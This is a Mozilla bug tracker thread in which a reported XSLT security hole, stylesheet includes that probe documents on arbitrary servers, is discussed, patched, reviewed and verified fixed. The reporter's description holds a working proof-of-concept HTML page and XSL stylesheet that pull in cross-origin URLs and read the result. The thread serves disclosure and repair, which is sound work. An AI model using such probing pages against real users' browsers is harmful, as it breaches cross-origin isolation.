Last Comment Bug 271209 - xsl:include and xsl:import allow at least checking for existance of documents on arbitrary servers
: xsl:include and xsl:import allow at least checking for existance of documents...
Status: VERIFIED FIXED
[sg:fix] fixed on trunk
: fixed-aviary1.0.1, fixed1.4.5, fixed1.7.6
Product: Core
Classification: Components
Component: XSLT (show other bugs)
: Trunk
: x86 Linux
: P1 normal (vote)
: ---
Assigned To: Peter Van der Beken [:peterv] - away till Aug 1st
: Keith Visco
Mentors:
Depends on:
Blocks: 248511 sg-ff101 sg-moz176
  Show dependency treegraph
 
Reported: 2004-11-22 05:00 PST by georgi - hopefully not receiving bugspam
Modified: 2006-03-12 18:10 PST (History)
9 users (show)
roc: blocking1.7.6+
roc: blocking‑aviary1.0.1+
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---


Attachments
v1 (16.70 KB, patch)
2004-12-09 17:03 PST, Peter Van der Beken [:peterv] - away till Aug 1st
no flags Details | Diff | Splinter Review
v1.1 (16.67 KB, patch)
2004-12-13 12:53 PST, Peter Van der Beken [:peterv] - away till Aug 1st
jonas: review+
Details | Diff | Splinter Review
v1.1 (16.25 KB, patch)
2004-12-20 08:07 PST, Peter Van der Beken [:peterv] - away till Aug 1st
peterv: review+
jst: superreview+
dveditz: approval‑aviary1.0.1-
dveditz: approval1.7.6-
Details | Diff | Splinter Review
v1.1 (branch) (14.11 KB, patch)
2005-02-03 13:28 PST, Peter Van der Beken [:peterv] - away till Aug 1st
no flags Details | Diff | Splinter Review
v1.1 (branch) (15.35 KB, patch)
2005-02-04 11:20 PST, Peter Van der Beken [:peterv] - away till Aug 1st
jst: review+
jst: superreview+
mozilla: approval‑aviary1.0.1+
mozilla: approval1.7.6+
Details | Diff | Splinter Review
patch for 1.4 branch (20.31 KB, patch)
2005-06-29 23:27 PDT, Nian Liu(n/a in a long time)
jst: review+
jst: superreview+
Details | Diff | Splinter Review

Description georgi - hopefully not receiving bugspam 2004-11-22 05:00:54 PST
User-Agent:       Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0
Build Identifier: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0

xsl:include and xsl:import import stylesheets from arbitrary domains (and
probably from local fs).
this allows at least checking for documents. it may be possible to read xml
files, not sure.

testcase - open xsl1.html
--------------xsl1.html--------
<html>
	<script>
		function vv() 
		{
			v1=a.document.firstChild;
			alert(v1.textContent);
		}
		a=window.open("/xslinc.xml");
		setTimeout("vv()",8000);
	</script>
	<h1>Copyright Georgi Guninski. Cannot be used in vulnerability databases
	</h1>	
</html>
-------------------------------

-----xslinc.xml----------------
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="#"?>
<!-- Copyright Georgi Guninski. Cannot be used in vulnerability databases -->

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
	<xsl:include href="http://www.mozilla.org/" />
	<xsl:include href="http://www.mozilla.org/404-404" />
 <xsl:template match="/">
 </xsl:template>
</xsl:stylesheet>
-------------------------------




Reproducible: Always
Steps to Reproduce:
Comment 1 Peter Van der Beken [:peterv] - away till Aug 1st 2004-11-22 06:18:28 PST
Ew. I'm pretty sure we used to block this.
txStylesheetCompilerState::loadIncludedStylesheet calls txCompileObserver::loadURI
which calls txCompileObserver::startLoad with aCallerPrincipal as nsnull and so
we don't do
http://lxr.mozilla.org/seamonkey/source/extensions/transformiix/source/xslt/txMozillaStylesheetCompiler.cpp#503.
We can get to the stylesheet through mProcessor and we have a loadgroup.

Sicking, any ideas?
Comment 2 georgi - hopefully not receiving bugspam 2004-11-22 06:39:35 PST
i have tried this attack in the past and it didn't work for sure.

either because of (1) security exception or (2) because include and import were
not implemented in xsl
Comment 3 Jonas Sicking (:sicking) PTO Until July 5th 2004-11-22 11:57:26 PST
We've supported both xsl:include and xsl:import for as long as I can remember so
what's probably happened here is that we lost the security check. Probably when
we implemented compiled stylesheets.

IMHO the security check should happen in loadURI. Note that we have two
implementations of this function:
txSyncCompileObserver::loadURI
txCompileObserver::loadURI
Both these seem to lack the security check.

(well, there's also standalone, but we don't need security checks there).

It seems like we're using the principal of the source document for the initial
load, would it be ok to do that for the rest too? In that case maybe we can set
that principal in the txCompileObserver when we kick off the initial load and
then always use that (i.e. remove the aPrincipal argument to startLoad).

For txSyncCompileObserver we should be able to do something similar.
Comment 4 georgi - hopefully not receiving bugspam 2004-11-24 08:24:10 PST
dveditz, this is somewhat security related.
Comment 5 Jonas Sicking (:sicking) PTO Until July 5th 2004-11-24 10:09:22 PST
Peter: do you think you'd be able to take care of this one? I've got too much
with the thesis to set up a moz environment and start hacking right now.
Comment 6 Peter Van der Beken [:peterv] - away till Aug 1st 2004-11-24 10:39:44 PST
Yeah, I' will try to get to it this weekend.
Comment 7 Peter Van der Beken [:peterv] - away till Aug 1st 2004-12-09 17:03:31 PST
Created attachment 168371 [details] [diff] [review]
v1
Comment 8 Jonas Sicking (:sicking) PTO Until July 5th 2004-12-09 20:10:55 PST
Why not keep the security check in startLoad rather the duplicating it twice?
Comment 9 Peter Van der Beken [:peterv] - away till Aug 1st 2004-12-13 12:53:20 PST
Created attachment 168646 [details] [diff] [review]
v1.1

The callers of startLoad have different arguments for the security check. I
looked at putting the check back in startLoad, but that gave a lot more if's,
so I prefer this one.
Comment 10 Asa Dotzler [:asa] 2004-12-18 11:57:01 PST
1.7.5 has shipped. Moving request to 1.7.6.
Comment 11 Jonas Sicking (:sicking) PTO Until July 5th 2004-12-18 12:11:59 PST
hrm, would have been nice if this had at least been marked blocking- so we would
have had a chance to argue for it. This bug is almost as bad as the
XMLHttpRequest bug that made headlines a while back and allows people to
download xml data from any url.
Comment 12 Jonas Sicking (:sicking) PTO Until July 5th 2004-12-18 17:35:27 PST
Comment on attachment 168646 [details] [diff] [review]
v1.1

+    channel->SetContentType(NS_LITERAL_CSTRING("text/xml"));

Is this a "suggestive" contenttype or does it force the result to be treated as
text/xml?



 nsresult
 txCompileObserver::loadURI(const nsAString& aUri,
+			    const nsAString& aReferrerUri,
			    txStylesheetCompiler* aCompiler)
 {
     nsCOMPtr<nsIURI> uri;
     nsresult rv = NS_NewURI(getter_AddRefs(uri), aUri);
     NS_ENSURE_SUCCESS(rv, rv);

+    nsCOMPtr<nsIURI> referrerUri;
+    rv = NS_NewURI(getter_AddRefs(referrerUri), aReferrerUri);
+    NS_ENSURE_SUCCESS(rv, rv);
+
+    // Do security check.
+    rv = CheckLoadURI(uri, referrerUri, nsnull, nsnull);
+    NS_ENSURE_SUCCESS(rv, rv);
+
     return startLoad(uri, aCompiler, referrerUri);
 }

uhm, that's weird. In lxr the startLoad line looks differently. Why doesn't it
show up as changed in the patch?


@@ -462,7 +463,8 @@ txStylesheetCompiler::loadURI(const nsAS
     if (mURI.Equals(aUri)) {
	 return NS_ERROR_XSLT_LOAD_RECURSION;
     }
-    return mObserver ? mObserver->loadURI(aUri, aCompiler) : NS_ERROR_FAILURE;
+    return mObserver ? mObserver->loadURI(aUri, mURI, aCompiler) :
+			NS_ERROR_FAILURE;

Shouldn't this be |aReferrerUri| rather then |mURI|? The loadURI call is
forwarded up through child-compilers, but it should be the initial referrer
that is the one that actually made the request.

r=me with that
Comment 13 Peter Van der Beken [:peterv] - away till Aug 1st 2004-12-20 07:25:43 PST
(In reply to comment #12)
> (From update of attachment 168646 [details] [diff] [review] [edit])
> +    channel->SetContentType(NS_LITERAL_CSTRING("text/xml"));
> 
> Is this a "suggestive" contenttype or does it force the result to be treated as
> text/xml?

Ignore that, it's for another bug.

> uhm, that's weird. In lxr the startLoad line looks differently. Why doesn't it
> show up as changed in the patch?

I have no idea how that happened and I can't reproduce it. Re-diffing made the
line show up as changed. Very weird.

> @@ -462,7 +463,8 @@ txStylesheetCompiler::loadURI(const nsAS
>      if (mURI.Equals(aUri)) {
> 	 return NS_ERROR_XSLT_LOAD_RECURSION;
>      }
> -    return mObserver ? mObserver->loadURI(aUri, aCompiler) : NS_ERROR_FAILURE;
> +    return mObserver ? mObserver->loadURI(aUri, mURI, aCompiler) :
> +			NS_ERROR_FAILURE;
> 
> Shouldn't this be |aReferrerUri| rather then |mURI|? The loadURI call is
> forwarded up through child-compilers, but it should be the initial referrer
> that is the one that actually made the request.

Yeah, but only for the mObserver->loadURI call, not for the logging or for the
recursion check, right?
Comment 14 Jonas Sicking (:sicking) PTO Until July 5th 2004-12-20 07:38:39 PST
yep
Comment 15 Peter Van der Beken [:peterv] - away till Aug 1st 2004-12-20 08:07:56 PST
Created attachment 169209 [details] [diff] [review]
v1.1

Marking r=sicking.
Comment 16 Johnny Stenback (:jst, jst@mozilla.com) 2004-12-26 14:48:59 PST
Comment on attachment 169209 [details] [diff] [review]
v1.1

sr=jst
Comment 17 Peter Van der Beken [:peterv] - away till Aug 1st 2004-12-29 08:43:55 PST
Comment on attachment 169209 [details] [diff] [review]
v1.1

Bug fix for a security hole that allows at least checking for the existance of
files on arbitrary servers. The fix is fairly low risk, XSLT is not very widely
used, and it just extends a security check to some other codepaths.
Comment 18 Peter Van der Beken [:peterv] - away till Aug 1st 2004-12-29 08:46:11 PST
Checked in on trunk, leaving open for branches.
Comment 19 Mike Kaply [:mkaply] 2005-01-31 12:21:28 PST
We need a version of this patch that doesn't affect translation. Perhaps
specialcasing the error code in the loading of the properties files that if
loading error 27 fails, it hardcodes the english?
Comment 20 chris hofmann 2005-02-01 14:07:42 PST
peter, can you put the patch together?
Comment 21 Peter Van der Beken [:peterv] - away till Aug 1st 2005-02-01 14:23:40 PST
Yes, I'll try to do it tomorrow.
Comment 22 Daniel Veditz [:dveditz] 2005-02-02 12:33:17 PST
Comment on attachment 169209 [details] [diff] [review]
v1.1

Drivers want this fix, but for the branches we need one that doesn't require
the localized string to exist (eg, hardcoded backup string)
Comment 23 Peter Van der Beken [:peterv] - away till Aug 1st 2005-02-03 13:28:43 PST
Created attachment 173309 [details] [diff] [review]
v1.1 (branch)
Comment 24 Peter Van der Beken [:peterv] - away till Aug 1st 2005-02-03 13:29:45 PST
I'll ask for a new sr and approvals tomorrow. Need to get some sleep first and
reread it with a clear head.
Comment 25 Peter Van der Beken [:peterv] - away till Aug 1st 2005-02-04 11:20:26 PST
Created attachment 173390 [details] [diff] [review]
v1.1 (branch)

Ported to the branch, which doesn't have the content policy changes. Note that
I did add the string in the properties file allowing translation of the string,
but I added fallback if the stringbundle entry is missing.
Comment 26 Johnny Stenback (:jst, jst@mozilla.com) 2005-02-07 14:13:55 PST
Comment on attachment 173390 [details] [diff] [review]
v1.1 (branch)

r+sr=jst
Comment 27 Mike Kaply [:mkaply] 2005-02-08 05:09:59 PST
Comment on attachment 173390 [details] [diff] [review]
v1.1 (branch)

a=mkaply - make sure to put this on the 1.0.1 branch and not the AVIARY branch.
Comment 28 Jay Patel [:jay] 2005-02-17 21:00:19 PST
Verified Fixed.  Testcase now results in content bring blocked with error:
"Error loading stylesheet: An XSLT stylesheet load was blocked for security
reasons."

Aviary 1.0.1 branch: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5)
Gecko/20050217 Firefox/1.0

Mozilla 1.7.6 branch: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050217

Trunk/M18b1 also look ok (still a problem in Firefox 1.0 as expected)
Comment 29 skullnobrains 2005-04-11 02:17:48 PDT
hello, all : simple comment that i think one should state here :

this 'bug' is actually a feature in xsl (dangerous of course, but convenient)
and it is actively used by many legitimate apps as a simple way to retrieve
database content directly from a webbrowser window, when u don't really need sql

exploitation is rather trivial when you know where the pages are located and the
browser accepts client-side scripting (espetially if the 'file' protocol is to
be allowed) but browsing is quite unrealistic.
as the same problem exists in regular html and various script languages (in
which case browsing IS possible) and is commonly fought using a setting such as
"allow cross-domain references" or similar, may i suggest that this setting
apply for such cases as well.

it might then be a reasonable thought that xml will some day include an informal
header tag stating where the page could be loaded from (maybe it already does ?)
in which case the browser will silently accept the cross-domain referal. ( does
the parser look at the headers before it actually parses the tree ? )

i'll have a snip in the code, but probably will not be able to submit a patch
before long or at all because i still lack the programming skills... yet i think
it should be mentioned here...

btw, firefox is GREAT, thanks to you, guys !
Comment 30 Nian Liu(n/a in a long time) 2005-06-29 23:27:46 PDT
Created attachment 187758 [details] [diff] [review]
patch for 1.4 branch
Comment 31 Johnny Stenback (:jst, jst@mozilla.com) 2005-06-30 17:54:46 PDT
Comment on attachment 187758 [details] [diff] [review]
patch for 1.4 branch

r+sr=jst
Comment 32 Ginn Chen 2005-06-30 20:25:41 PDT
Checking in resources/xslt.properties;
/cvsroot/mozilla/extensions/transformiix/resources/Attic/xslt.properties,v  <--
 xslt.properties
new revision: 1.3.2.1; previous revision: 1.3
done
Checking in source/base/txError.h;
/cvsroot/mozilla/extensions/transformiix/source/base/txError.h,v  <-- 
txError.hnew revision: 1.8.2.1; previous revision: 1.8
done
Checking in source/xslt/txMozillaStylesheetCompiler.cpp;
/cvsroot/mozilla/extensions/transformiix/source/xslt/txMozillaStylesheetCompiler.cpp,v
 <--  txMozillaStylesheetCompiler.cpp
new revision: 1.5.4.1; previous revision: 1.5
done
Checking in source/xslt/txMozillaXSLTProcessor.cpp;
/cvsroot/mozilla/extensions/transformiix/source/xslt/txMozillaXSLTProcessor.cpp,v
 <--  txMozillaXSLTProcessor.cpp
new revision: 1.16.2.2; previous revision: 1.16.2.1
done
Checking in source/xslt/txMozillaXSLTProcessor.h;
/cvsroot/mozilla/extensions/transformiix/source/xslt/txMozillaXSLTProcessor.h,v
 <--  txMozillaXSLTProcessor.h
new revision: 1.8.2.1; previous revision: 1.8
done
Checking in source/xslt/txStandaloneStylesheetCompiler.cpp;
/cvsroot/mozilla/extensions/transformiix/source/xslt/txStandaloneStylesheetCompiler.cpp,v
 <--  txStandaloneStylesheetCompiler.cpp
new revision: 1.6.2.1; previous revision: 1.6
done
Checking in source/xslt/txStylesheetCompiler.cpp;
/cvsroot/mozilla/extensions/transformiix/source/xslt/txStylesheetCompiler.cpp,v
 <--  txStylesheetCompiler.cpp
new revision: 1.6.2.1; previous revision: 1.6
done
Checking in source/xslt/txStylesheetCompiler.h;
/cvsroot/mozilla/extensions/transformiix/source/xslt/txStylesheetCompiler.h,v 
<--  txStylesheetCompiler.h
new revision: 1.7.2.1; previous revision: 1.7
done

Note You need to log in before you can comment on or make changes to this bug.